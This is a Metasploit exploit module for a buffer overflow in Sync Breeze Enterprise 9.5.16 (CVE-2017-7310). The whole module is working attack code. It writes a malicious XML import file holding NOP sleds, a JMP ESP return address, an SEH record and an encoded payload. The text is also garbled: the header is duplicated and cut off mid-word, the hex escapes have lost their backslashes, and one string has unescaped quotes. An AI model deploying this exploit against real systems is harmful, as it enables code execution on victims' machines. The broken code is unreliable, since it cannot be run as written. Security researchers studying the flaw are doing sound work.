Sync Breeze Enterprise 9.5.16 Import Command Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
'Description' => %q(
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
by using the import command option to import a specially crafted xml file.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'References' =>
[
[ 'CVE', '2017-7310' ],
[ 'EDB', '41773' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "x00x01x02x0ax0bx0cx22x27",
'StackAdjustment' => -3500
},
'Targets' =>
[
['Windows Universal', { 'Ret' => 0x10015FFE } ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 29 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end

def exploit
jmpesp = "x7AxB7x1Bx65" # JMP ESP QtGui4.dll
esp = "x8Dx44x24x4C" # LEA EAX, [ESP+76]
jmp = "xFFxE0" # JMP ESP

buffer = "<?xml version="1.0" encoding="UTF-8"?> <classify name='"
buffer << "x90" * 1536
buffer << jmpesp
buffer << "x90" * 18
buffer << esp
buffer << jmp
buffer << "x90" * 68
buffer << generate_seh_record(target.ret)
buffer << "x90" * 10
buffer << payload.encoded
buffer << "x90" * 5000
buffer << " </classify>"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end